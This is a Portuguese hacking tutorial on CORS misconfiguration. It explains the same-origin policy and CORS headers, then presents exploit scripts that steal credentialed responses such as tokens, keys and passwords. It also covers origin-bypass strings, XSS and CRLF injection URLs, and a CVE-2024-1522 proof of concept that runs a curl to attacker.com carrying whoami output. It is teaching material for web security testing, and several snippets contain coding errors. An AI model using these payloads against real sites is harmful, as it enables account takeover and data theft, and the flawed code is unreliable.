Paper: CORS MISCONFIGURATION FOR WEB HACKING - SNISS
CORS Misconfig for Web Hacking
Autores: @sniss ( João Lobo )
# {}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}
# {} {}
# {} {}
# {} ____ ___ ____ ____ _ _ _ _ _ {}
# {} / ___/ _ \| _ \/ ___| | \ | (_) __ _| |__ | |_ _ __ ___ __ _ _ __ ___ {}
# {} | | | | | | |_) \___ \ | \| | |/ _` | '_ \| __| '_ ` _ \ / _` | '__/ _ \ {}
# {} | |__| |_| | _ < ___) | | |\ | | (_| | | | | |_| | | | | | (_| | | | __/ {}
# {} \____\___/|_| \_\____/ |_| \_|_|\__, |_| |_|\__|_| |_| |_|\__,_|_| \___| {}
# {} |___/ {}
# {} {}
# {} {}
# {}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}
CORS MISCONFIGURATION FOR WEB HACKING
Author: SNISS
Sumário
==========================================================
1. Conceitos do CORS
2. Ataques com CORS Misconfig
3. CORS Misconfig combos
4. Intranet Hacking with CORS
5. Considerações Finais
==========================================================
Olá , hoje vamos falar sobre CORS e como podemos hackea-lós, falando sobre a teoria e prática.
Mas afinal, porque eu vou querer aprender a hackear e entender um CORS??
Simples, o CORS configura quem a aplicação deve 'confiar' ou seja, se for mal configurado podemos usar isso para
roubar dados, account takeover e até XSS e SSRF
{{{ Teoria }}}
## SOP ( Same Origin Policy )
=======================================================
- é uma politica que restringe que as aplicações interajam com certos dados e recursos que não sejam da sua origem, assim , meio que evitando os ataques de CSRF por exemplo
- ele define origem como protocolo , host e porta iguais , sendo assim , só obtendo recursos localmente, porém se setarmos um dominio supremo , podemos passar pelo SOP para
interagir com os subdominios
<code>
<div>
_________________________________________
| document.domain = "superdomain.com"; |
|_______________________________________|
</div>
<code>
## Função do CORS ( Cross-Origin Resource Sharing )
- a função do CORS é configurarmos servidores para fazerem parte do mesmo dominio , permitindo eles interagirem entre si
- eles são configurados nas requisições HTTP geralmente em requisições GET e POST
- ele então basicamente vai tratar as permissões de acesso do cliente externo para o servidor
=======================================================
** Cabeçalhos CORS
- para setarmos a origem no CORS usamos o `` Access-Control-Allow-Origin `` que vai ter o valor da url que vamos setar como origem e dando permissão a elas a acessar recursos da nossa
aplicação
OBS:( ela pode ter o valor de null ( no Origin) , quando se trata de redirecionamentos leitura de arquivos interamente e interações com arquivos internos (usado o file://) , etc )
______________________________________________________
|Access-Control-Allow-Origin: https://templo7k.ninja|
|____________________________________________________|
- numa requisição usando o CORS , precisamos especificar o metodo que vai ser usado nela, para isso usamos o `` Access-Control-Allow-Methods `` ( usadas em reqs mais avançadas ), para
impedir que um usuario mal intencionado use um metodo como DELETE em uma API
__________________________________
|Access-Control-Allow-Methods: * | # ( * ) --> significa que aceita qualquer método ( em alguns casos pode dar BO )
|________________________________|
- na mesma logica do Access-Control-Allow-Method existe o ``Access-Control-Allow-Headers `` que impede que o usuario use headers ( personalizados ou não ) HTTP a + que não estejam
na lista, ele é usado muito para quando se precisa usar um header de token e tal
____________________________________________________
|Access-Control-Request-Headers: x-templo7k-secret |
|__________________________________________________|
- para não ficar usando o OPTIONS a cada req CORS avançada, usamos o `` Access-Control-Max-Age `` que vai deixar em cache solicitações avançadas CORS por um periodo limitado de tempo,
assim, nesse cabeçalho setamos o periodo que queremos que fique armazenado
________________________________
| Access-Control-Max-Age: 600 | # Em Segundos
|________________________________|
- quando queremos enviar cookies para outra aplicação usando o CORS podemos usar o `` Access-Control-Allow-Credentials ``
_________________________________________
|Access-Control-Allow-Credentials: true |
|_______________________________________|
** Conceitos
- você consegue fazer requisições <script> ou para <img> sem passar pelo o CORS??
- as solicitações fetch e XMLHTTPRequests são bloqueadas por um motivo, se não fosse não haveria limitações de um invasor
obter dados de serviços internos ou sigilosos só sabendo o dominio deles , ou até poderia ver mensagens dos outros quando a vitima
entrasse em seu servidor malicioso !
intranet.xx.com : evil.com : (copia dos dados da intranet.xx.com )
{ dados XXXX } { dados XXXX }
- enquanto os <script> ou <img> tem recursos limitados de serem obtidos, eu não posso solicitar um js usando o img por exemplo !
- também é bom apontar que o navegador pode usar a politica de CORS para bloquear solicitações de cunho malicioso ! Simplesmente não dando o
conteudo dela
=======================================================
{{{ Prática }}}
- para entendermos a politica de restrição de origem diferentes podemos dar um fetch para uma aplicação qualquer que não esteja setada no CORS ou na mesma origem de outra
- vamos abrir no console do seu browser e digitar :
<code>
<div>
__________________________________________________________________________________________
| |
| fetch(https://templo7k.ninja) //passando para a url |
| |
|.then((resposta)=> console.log(resposta.text())) //convertendo a resposta em texto |
| |
|.then((data)=>{ |
| |
| console.log(data) |
| |
|}); |
|________________________________________________________________________________________|
</div>
<code>
- ele vai dar o exato erro :
___________________________________________________________________________________________________________________________________________________________________________
| Requisição cross-origin bloqueada: |
|A diretiva Same Origin (mesma origem) não permite a leitura do recurso remoto em https://templo7k.ninja/ (motivo: falta cabeçalho 'Access-Control-Allow-Origin' no CORS). |
|Código de status: 301. |
|__________________________________________________________________________________________________________________________________________________________________________|
- porém se fazermos um fetch para a mesma origem
<code>
<div>
____________________________________________________________________________________________________________________________
| fetch("https://templo7k.ninja/papers/jwt_attacks.html").then(resposta => resposta.text()).then(data => console.log(data)) |
|___________________________________________________________________________________________________________________________|
</div>
<code>
- ele vai nos retornar com response desse html que vai ser o meu paper de jwt attacks ^^
<code>
<div>
__________________
|<!DOCTYPE html> |
|...... |
|_________________|
</div>
<code>
================================================
** Pre-Flighted Request
- algumas requisições usam o OPTIONS para fazer uma 'solicitação' de interação , assim as permitindo usar outros metodos HTTP ( chamamos essas requisições mais avançadas de pre-flighted requests) , como se fosse usando o options primeiro para depois usar outros metodos
1. OPTIONS HTTP/1.1 ! Pre-flighted request
Origin: xxx.com
Cliente: "ei servidor! Posso fazer um POST para você com o header sniss?"
Access-Request-Method: POST
Access-Control-Headers: SNISS Servidor: "Pode é claro!"
2. POST HTTP/1.1 ! Main Request
Origin: xxx.com
SNISS: oi
{ " aaa " }
Ex: GMAIL
___________________________________________________________________________________________________________________________
|OPTIONS /$rpc/google.internal.apps.addons.v1.AddOnService/ListInstallations HTTP/1.1 |
|Host: addons-pa.clients6.google.com |
|Accept-Encoding: gzip, deflate, br |
|Access-Control-Request-Method: POST # Metodo aceito |
|access-control-allow-origin: https://mail.google.com # Aplicação que vai ser feita a interação |
|Access-Control-Request-Headers: x-goog-api-key # Headers personalizados |
|Referer: https://mail.google.com/ # Contem a pagina que está sendo utilizada |
|Origin: https://mail.google.com # Usado automaticamente quando se faz interações entre dominios |
|Connection: keep-alive |
|__________________________________________________________________________________________________________________________|
- Nesse exemplo o addons-pa.clients6.google.com vai conseguir interagir com o https://mail.google.com
{{{{ CORS Misconfigurations Attacks }}}}
- antes de irmos a pratica, vamos mostrar como identificar no códigos vulneráveis e como podemos hackea-lós
[ Arbitrary Origin ]
** Ataque
================================================
Codigo:
<code>
<div>
________________________________________________________________________________________
|<?php |
| |
|if (isset($_SERVER['HTTP_ORIGIN'])) |
| { |
| header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN'].""); |
| header('Access-Control-Allow-Credentials: true'); |
| } |
| |
|?> |
----------------------------------------------------------------------------------------|
</div>
<code>
- nesse codigo, ele checa se está setado o header Origin , e se estiver setado ele vai permiti-ló interagir com o servidor e acessar os cookies dele ( Access-Control-Allow-Credentials )
- Nesse cenário geralmente pode ocorrer quando você tem acesso ao um servidor no allow origins dele ( geralmente por subtakeover ou até por um xss ) ou até por simples misconfig
do servidor que aceita qualquer origin, essa misconfig pode ocorrer porque ela não está acostumada a receber um cabeçalho origin nessa situação, então o dev não configurou um
filtro
- Ou seja , é esse cenario aqui:
Requisição: Resposta:
... 200 OK
Origin: https://templo7k.ninja Acces-Control-Allow-Origin: https://templo7k.ninja
Access-Control-Allow-Credentials: true
- por meio dessas informações, podemos criar um exploit que obtenha os cookies ea resposta html do nosso alvo quando a vítima clicar ou interagir com o nosso webserver malicioso
já que ele não faz nenhuma validação no que está sendo setado no header Origin
Exploit:
<code>
<div>
____________________________________________________________________________________________________________________
| |
| <script> |
| |
| function vuln(){ |
| |
| var xhr = new XMLHttpRequest(); // iniciando um objeto XMLHTTPReq |
| |
| xhr.onreadystatechange = function(){ // função que vai ser chamada quando o valor do readyState mudar |
| |
| if ( this.readyState == 4 && xhr.status == 200){ // se a requisição for bem sucedida com o status code 200 |
| |
| var all = this.responseText; // pegar todo html e jogar na variavel all |
| |
| document.getElementById('texto').innerHTML = all; // jogar o valor do all para o <p id='texto></p> no html |
| |
| }; |
| |
| xhr.open('GET',"https://alvo.com",true); //requisição GET para o alvo |
| |
| xhr.withCredentials = true; // Access-Control-Allow-Credentials: true |
| |
| xhr.send(); // enviando a requisição |
| |
| </script> |
| |
| <body onload="vuln()"> // carregando a função |
| |
| <p id="texto"></p> |
| |
| </body> |
| </html> |
|__________________________________________________________________________________________________________________|
</div>
<code>
- da para mesclar essa vulnerabilidades com varias outras como XSS e CRLFi , mas isso é assunto para outro capitulo
** Reports
================================================
- na vida real podemos citar o caso da empresa UPchieve que sua api (/api/user) estava vulnerável , possibilitava roubo de informações dos usuarios quando acessava o webserver malicioso
Requisição: Resposta:
GET /api/user HTTP/1.1 200 OK
Host: app.upchieve.org access-control-allow-origin: evil.com
Origin: evil.com
{ dados do user }
- o exploit vai basicamente carregar uma função que vai da alert na resposta html do app.uchieve/api/user quando a requisição for carregada com sucesso
Exploit:
<code>
<div>
______________________________________________________________________________________
| |
| var req = new XMLHttpRequest(); |
| |
|req.onload = reqListener; // chamando a função |
| |
| req.open('GET','https://app.upchieve.org/api/user',true); |
| |
| req.withCredentials = true; |
| |
| req.send('{}'); //enviando um {} |
| |
| function reqListener() { |
| |
| alert(this.responseText); // da um alert com a resposta do servidor alvo |
| |
| }; |
|____________________________________________________________________________________|
</div>
<code>
[ Null Origin ]
* Ataque
================================================
- como falado anteriormente, o Origin pode receber o valor de null em alguns casos especificos, quando a aplicação permite que todos consigam interagi-lá com ela
- a sua diferença para o * é que no null é permitido o allow-credentials, ao contrário do * que não é
Access-Control-Allow-Origin: null # credentials = true
Access-Control-Allow-Origin: * # credentials = false
- você pode ver isso porque o desenvolvedor acha que você vai usar o CORS para solicitar algo publico no site ou algo do tipo que requer algum tipo de "credentials", e você vai
aproveitar a lerdeza dele e requerir algo comprometedor
Exemplo:
Requisição: Resposta:
GET /account HTTP/1.1 200 OK
Host: alvo.com
Content-Type: application/json Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
ou
Requisição: Resposta:
GET /account HTTP/1.1 200 OK
Host: alvo.com Access-Control-Allow-Origin: null
Origin: null Access-Control-Allow-Credentials: true
{ "token-para-tu": "@W2p3mw2kp23´p3k" }
- assim , isso demonstra que a aplicação na parte de ver o token da account , não configurou ou não filtrou quem pode interagir com ela, permitindo , que agentes roubem tokens
Codigo:
<code>
<div>
-----------------------------------------------------------------------------
| const express = require('express'); |
| const app = express(); |
| const cors = require('cors'); |
| |
| app.use(cors()); |
| |
| app.get ('/login', (req, res) => { |
| |
| |
| |
| res.status(200).json({ token-para-tu: '@W2p3mw2kp23´p3k' }); |
| |
| }; |
| |
| |
| |
|___________________________________________________________________________|
</div>
<code>
- Agora, vamos fazer um exploit para pegar o token desse usuario ! Temos que usar o iframe porque por default já envia o cabeçalho Origin como Null
Exploit:
<code>
<div>
_______________________________________________________________________________________________
|<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>|
|var req = XMLHTTPRequests() |
|req.onload = reqListener |
|req.open("GET","https://alvo.com/account") |
|req.withCredentials = true |
|req.send(); |
| |
|function reqListener(){ |
| |
|console.log('Olha o token roubado! ', this.responseText) |
| |
|}else { |
| |
| console.log("Deu Merda ai"); |
|} |
|}; </script>"></iframe> |
|______________________________________________________________________________________________|
</div>
<code>
OBS: ( é recomendado o seu desuso, mas você pode encontrar em várias situações ! )
[ Access-Allow-Origin: * ]
* Ataque
================================================
- Nesse ataque é o seguinte, a aplicação habilita todos a interagirem com ela, porém o browser por default não compartilha os Cookies quando o Access-Allow-Origin é igual a *
então, esse ataque exige um cenario especifico para se considerado uma misconfig como em cenarios de obtenção de token de usuarios, autenticação , etc
- ou seja, ele depende muito do contexto da aplicação
Exemplo:
Requisição: Resposta:
GET /privatekey?user=1233 200 OK
Host: alvo.com Access-Allow-Origin: *
Access-Control-Allow-Credentials: false
{ privatekey : "aaaa22323" }
- No código da aplicação, ele aceitará todos as interações vindas de outro host
Código:
<code>
<div>
-----------------------------------------------------------------------------
| const express = require('express'); |
| const app = express(); |
| const cors = require('cors'); |
| |
| app.use(cors()); |
| |
| app.get ('/privatekey?user=$userid', (req, res) => { |
| |
| |
| |
| res.status(200).json({private: "$UserKey"' }); |
| |
| }; |
| |
| |
| |
|___________________________________________________________________________|
</div>
<code>
- nesse contexto, podemos conseguir o privatekey do usuario simplesmente por estar o Access-Allow-Origin como *
Exploit:
<code>
<div>
-------------------------------------------------------------
|var req = new XMLHTTPRequest(); |
| |
|req.onload() = reqListener |
| |
|req.open("GET","https://alvo.com/privatekey?user=1233"); |
| |
|req.withCredentials = true |
|req.send(); |
| |
| |
| |
|function reqListener(){ |
| |
| console.log("Key Hackeada: " this.responseText ); |
| |
|} |
|___________________________________________________________|
</div>
<code>
[ Bypass de Verificação da Origin ]
* Ataque
================================================
- em alguns casos, o servidor faz uma verificação porca do que está contido na rede, nesses casos, eles filtram pelo nome do dominio ou até só pelo nome contido no dominio
Código:
<code>
<div>
_____________________________________________________
| |
| if (isset($_SERVER['HTTP_ORIGIN']) && preg_match( |
| '#templo7k.ninja#', $_SERVER['HTTP_ORIGIN'])) |
| |
| { |
| header("Access-Control-Allow-Origin: " . |
| $_SERVER['HTTP_ORIGIN']); |
| header('Access-Control-Allow-Credentials: true |
| '); |
| } |
|____________________________________________________|
</div>
<code>
- esse codigo basicamente usa o preg_match() para verificar se o dominio é o templo7k.ninja , porém quando se usa a função preg_match() , ela procura a
string usada em qualquer lugar então se fomos usar um domino malicioso chamado "snissgostosotemplo7k.ninja" ele bypassaria a verificação do preg_match
e consequentemente iria permitir usarmos ele como Origin
- isso ocorre quando usamos a função strpos() também já que ela faz a mesma verificação do preg_match() ou até o Access-Control-Allow-Origin: *.alvo.com como checker, que possibilita
criarmos dominios maliciosos como evil-alvo.com
- pode acontecer casos também que ele só checa o alvo.com , então podemos criar dominios maliciosos como alvo.co.net ou alvo.co.evil ou até de a aplicação eo browser aceitarem
caracteries incomuns como uma url valida:
https://alvo.com%09evil.com --> Valido para browsers safari
http://alvo.com%20evil.com
[email protected]%[email protected]
normal-alvo.com.evil.com
-
** Reports
================================================
- um caso semelhante aconteceu na empresa Zomato , onde eles tinham uma verificação do valor do Origin porém ela era fraca
- na verificação deles eles esperavam "developerzomato.com" porém por a verificação ser lixo acabou aceitando também "developerxzomato.com"
Requisição: Resposta:
GET /abudhabi HTTP/1.1 200 OK
Host: www.zomato.com
Connection: close Access-Control-Allow-Origin: developersxzomato.com
Upgrade-Insecure-Requests: 1 Access-Control-Allow-Credentials: true
Origin: developersxzomato.com # aceita o "developersxzomato.com" Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, X-ZOMATO-CSRFT, *
- assim o hacker poderia registrar o dominio developersxzomato.com e interagir com a aplicação alvo normalmente
{{{{ CORS Misconfigs combos }}}}
- agora vamos falar como conseguimos trigar outra vulns através do cors misconfig, assim , escalando mais ainda o seu impacto !
[ XSS + CORS Misconfigs ]
- podemos trigar um xss de muitas formas, geralmente através de headers como Origin ou até de formas mais inusitadas!
( XSS para Account Takeover usando CORS ):
- as vezes, encontramos um xss aleatorio em um subdominio meio bosta, porém, por ele ter na maioria das vezes acesso ao CORS, se mal configurado o CORS da aplicação
principal, podemos usa-ló para roubar informações do cliente.
- imagine uma func de show password da aplicação principal que aceite uma interação cors com subdominios, porém seu subdominio vulneravel está vuln a um xss, então o atacante
vai executar um payload que ao carregado vai fazer uma interação nessa função de show password e pegar o output para ele
Requisição: Cookie:
GET /showpassword HTTP/1.1 200 OK
Host: vuln.com
Origin: sub.vuln.com Access-Control-Allow-Origin: sub.vuln.com
Access-control-allow-credentials: true
{password:"oiaminhasenhaaqui"}
Vuln: https://subs.vuln.com/?search="><script>alert(1);</script>
- agora vamos usar o nosso payload para interagir com a aplicação principal por meio do xss no sub da aplicação
Exploit
<code>
<div>
-----------------------------------------------------------------
|var req = new XMLHTTPRequest(); |
|req.withCredentials = true; |
|req.onreadystatechange = function (){ |
| if (this.status == 200){ |
| alert(alert(this.responseText); |
| } |
| }; |
|req.open("GET","https://vuln.com/showpassword"); |
|req.send(); |
| |
|________________________________________________________________|
</div>
<code>
OBS: onreadystatechange ---> quando o site for carregado 100%
- vamos fazer um urlencode disso e enviar no nosso parametro vulneravel
https://subs.vuln.com/?search-"><script>var%20req%20%3D%20new%20XMLHTTPRequest%28%29%3B%20req.withCredentials%20%3D%20true%3B%20req.onreadystatechange%20%3D%20function%20%28%29%7Bif%20%28this.status%20%3D%3D%20200%29%7Balert%28alert%28this.responseText%29%3B%7D%7D%3B%20req.open%28%22GET%22%2C%22https%3A%2F%2Fvuln.com%2Fshowpassword%22%29%3B%20req.send%28%29%3B</script>
- então quando o payload for executado vai aparecer o password da vitima (=
( CRLFI + CORS MISCONFIG )
- um caso interessante é quando se temos um crlfi no alvo ! Podemos adicionar um Access-Allow-Origin favoravél a nó
- o recomendado é se adicionar o null , pois conseguimos acessar credentials ao contrario do *
https://alvo.com/chat%0d%0aAcess-Allow-Origin:%20null
- assim conseguimos "injetar" uma misconfig CORS ! Isso seria útil para locais que tenham informações sigilosas expostas como apis e chats
( Custom Header XSS + Client Side Cache Poisoning ):
- imagine um header que esteja vulneravel a xss, a principio, não se da para ter muuito impacto com essa vulnerabilidade por ser um self xss , porém se juntarmos com um CORS
Misconfigurado que não tenha a opção Vary: origin não tiver uma especificação, a requisição maliciosa será armazenada no cache browser da vitima, assim , futuramente quando
a vitima entrar na pagina original o payload carregará mesmo assim.
- o Vary:Origin simplificadamente vai evitar que o cache armazene requisições de outras origens , assim , evitando ataques de cache poisoning
- ou seja vamos escalar de um xss em um header para um client side cache poisoning
Codigo:
<code>
<div>
Back-End
------------------------------------------------------------------------
|app.get('/', (req, res) => { |
| res.setHeader('Access-Control-Allow-Origin', '*'); |
| res.setHeader('Access-Control-Allow-Headers', 'X-User-Vuln'); |
| res.setHeader('Content-Type', 'text/html'); |
|}); |
|______________________________________________________________________|
Front-End
--------------------------------------------------------------------------------------------------------
| <input type="text" id="user-id" value="User Id"> |
| <button onclick="makeRequest()">Faça uma requisição/button> |
| <script> |
| function makeRequest() { |
| var url = 'https://vuln.com/'; |
| var req = new XMLHttpRequest(); |
| req.onload = function() { |
| alert('Response received'); |
| }; |
| req.open('get', url, true); |
| req.setRequestHeader("X-User-Vuln", document.getElementById('user-id').value); |
| req.send(); |
| } </script> |
|_______________________________________________________________________________________________________|
</div>
<code>
- no primeiro codigo , ele está configurando o cors e habilitando que o header X-User-Vuln pode ser usado por outras aplicações
- o front-end vai refletir o valor do header X-User-Vuln
- no nosso exploit, vamos usar um payload XSS nesse X-User-Vuln
<code>
<div>
-----------------------------------------------------------------
|var url = "https://vuln.com" |
|var req = new XMLHTTPRequest(); |
|req.onload = function exploit(){ |
| |
| console.log("Executado Com Sucesso"); |
| |
|}; |
|req.setHeader('X-User-Vuln', '<svg/onload="alert("Hacked")">'); |
|req.send(); |
|________________________________________________________________|
</div>
<code>
- assim, executando com sucesso o xss, e nas vezes posteriores que a vitima acessar o site, mesmo sem estar com o header vuln setado, o payload será executado na mesma forma!
[ CORS Misconfig to RCE ]
- quando falamos em uma misconfig no cors para RCE tem que ser um ambiente bem especifico, como é retratado na CVE-2024-1522 onde se tem uma função /execute_code que estava vulneravel
a CORS Misconfiguration
( CVE-2024-1522 )
- a CVE reportada para o parisneo/lollms-webui que é simplificadamente um hub de LLM , explorava um CORS Misconfig onde o Access-Control-Allow-Origin aceitava interações
de outras aplicações, assim , ele criou uma POC onde enviava por meio de um POST para o o /execute_code um payload encodado em html encode que executava um whoami no sistema
<code>
<div>
POC:
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|<form action="http://localhost:9600/execute_code" method="POST" enctype="text/plain"> |
| <input type="hidden" name="{"code":"'" value="';import os;os.system('curl http://attacker.com/&# | |96;whoami`')"} " /> |
| <input type="submit" value="Submit request" /> |
|</form> |
|<script> |
| history.pushState('', '', '/'); |
| document.forms[0].submit(); |
|</script> |
|_________________________________________________________________________________________________________________________________________________________________________________________|
</div>
<code>
Payload decodado: {"code":"'" value="';import os;os.system('curl http://attacker.com/`whoami`')"}
[ CRLFI to CORS Misconfig ]
- quando se temos um CRLFI podemos injetar headers na resposta do servidor, com isso em situações como em funcs de show password ou de api tokens e keys é mais interessante
temos uma vulnerabilidade que permita roubar esses tokens e keys e o CORS Misconfig é uma delas.
- então , basicamente vamos injetar um Null Origin no servidor, pois ele aceita que sua solicitação tenha credenciais( withCredentials ) ao contrario do Access-Control-Allow-Origin:*
https://alvo.com/apiKey/%0d%0aAccess-Control-Allow-Origin:%20null
OBS: ( para quem não sabe , no CRLFI encodamos com urlencode o \r\n no payload para simular uma quebra de linha na resposta )
Response:
200 OK
Access-Control-Allow-Origin: null
- agora vamos usar essa url maliciosa para criar nosso payload
<code>
<div>
POC:
-------------------------------------------------------------------------------------------
|<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script> |
| |
|var req = new XMLHTTPRequest(); |
| |
|req.open = ('GET','https://alvo.com/apiKey/%0d%0aAccess-Control-Allow-Origin:%20null'); |
| |
|req.withCredentials = true; |
| |
|req.onload = {} => { |
| |
|console.log(this.responseText); |
| |
|}; |
| |
|req.send(); |
| |
|</script>"></iframe> |
|_________________________________________________________________________________________|
</div>
<code>
[ Outros Ataques ... ]
- gostaria de fazer uma menção honrosa ao ataque de Dns Rebiding + CORS Misconfig , porém vou falar dele futuramente e de forma mais complexa no meu paper de DNS Rebinding
{{{{ Intranet Hacking with CORS }}}}
- esse caso merece uma atenção especial , ele foi usado no progama de bounty da tesla para hackear a intranet deles
- basicamente eles usaram varios dominios semelhantes (typosquat) do da intranet do tesla e por meio de vulns de CORS Misconfig quando o funcionario acessava esse dominio
ele carregava para os pesquisadores o html da intranet do tesla
- para isso basicamente quando o cara que trabalhava no tesla acessava por engano esses dominios similares um javascript malicioso fazia uma requisição CORS para subdominios da intranet
do tesla que tenham CORS misconfiguration e se o cara que trabalhava tivesse acesso a um deles ea mostrar o html dessa aplicação para os pesquisadores
- assim , os pesquisadores poderiam por meio dos paths javascript que são chamados no index da intranet poderiam ler apikeys ou até credenciais
interação com o CORS misconfigurado
TRABALHADOR -----> TYPOSQUAT (ex: intranet.esla.com ) -------------------------------------> intranet.tesla.com , intranet-2.tesla.com , ....
^
| Carregar a index vista pelo trabalhador |
---------------------------------------------------------------------------------
◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Considerações Finais ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢
bom como considerações finais queria lembrar para darem o feedback e avisarem se gostaram ou não desse paper, gostaria também que vejam os outros papers que estão por vim
eos que já lançaram na plataforma da templo7k.ninja
Vou Deixar aqui o link de alguns reports sobre CORS Misconfiguration para complementar o paper, um abraço do SNISS até mais!
Reports:
https://hackerone.com/reports/1199527
https://hackerone.com/reports/426165
https://hackerone.com/reports/1404986
https://bugcrowd.com/disclosures/0e3f3821-1d26-466b-8599-7cc2f206f4d9/several-internal-applications-have-open-cors-allowing-external-folks-to-access-the-content
https://hackerone.com/reports/235200